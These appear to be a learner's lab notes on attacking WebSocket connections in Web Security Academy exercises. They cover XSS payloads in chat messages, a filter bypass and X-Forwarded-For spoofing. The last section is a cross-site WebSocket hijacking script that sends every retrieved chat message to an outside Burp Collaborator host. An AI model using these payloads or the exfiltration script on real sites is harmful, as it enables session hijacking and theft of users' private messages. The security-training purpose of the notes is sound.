Manipulating WebSockets connections
There are various situations in which manipulating the WebSocket handshake might be necessary:
- It can enable you to reach more attack surface.
- Some attacks might cause your connection to drop so you need to establish a new one.
- Tokens or other data in the original handshake request might be stale and need updating.
Suppose a chat application uses WebSockets to send chat messages between the browser and the server. When a user types a chat message, a WebSocket message like the following is sent to the server:
{"message":"Hello Carlos"}- Then it gets rendered as HTML
- Then you can try:
{"message":"<img src=1 onerror='alert(1)'>"}
WebSocket handshake vulnerabilities:
- Misplaced trust in HTTP headers to perform security decisions, such as the
X-Forwarded-Forheader. - Flaws in session handling mechanisms, since the session context in which WebSocket messages are processed is generally determined by the session context of the handshake message.
- Attack surface introduced by custom HTTP headers used by the application.
Cross-Site WebSocket hijacking
- Relies solely on HTTP cookies for session handling and does not contain any CSRF tokens or other unpredictable values in request parameters
- This is the first thing to check
- Note that the
Sec-WebSocket-Keyheader contains a random value to prevent errors from caching proxies, and is not used for authentication or session handling purposes.
- Attacker creates a malicious web page on their own domain which establishes a cross-site WebSocket connection to the vulnerable application. The application will handle the connection in the context of the victim user’s session with the application.
- Two-way communication, more dangerous that regular CSRF
<img src=1 oNeRrOr=alert'1'>
- WHen
<img src=1 onerror=alert'1'>didn’t work
You may be able to reconnect using the X-Forwarded-For: Header
Using Cross-Site WebSockets to exploit other vulnerabilities
<script>
var ws = new WebSocket('wss://0a9400d3031767af80b503260055002a.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://slh7uxlc3cxuroxh5kv6vp78zz5qtgh5.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
- where wss://link is the websocket URL shown in the websocket history
- https://slh7uxlc3cxuroxh5kv6vp78zz5qtgh5.oastify.com is the burp collaborator URL
- Apparently needed to see that the “READY” command retrieves past chat messages from the server in the WebSockets history tab
- AND to observe that the request has no CSRF tokens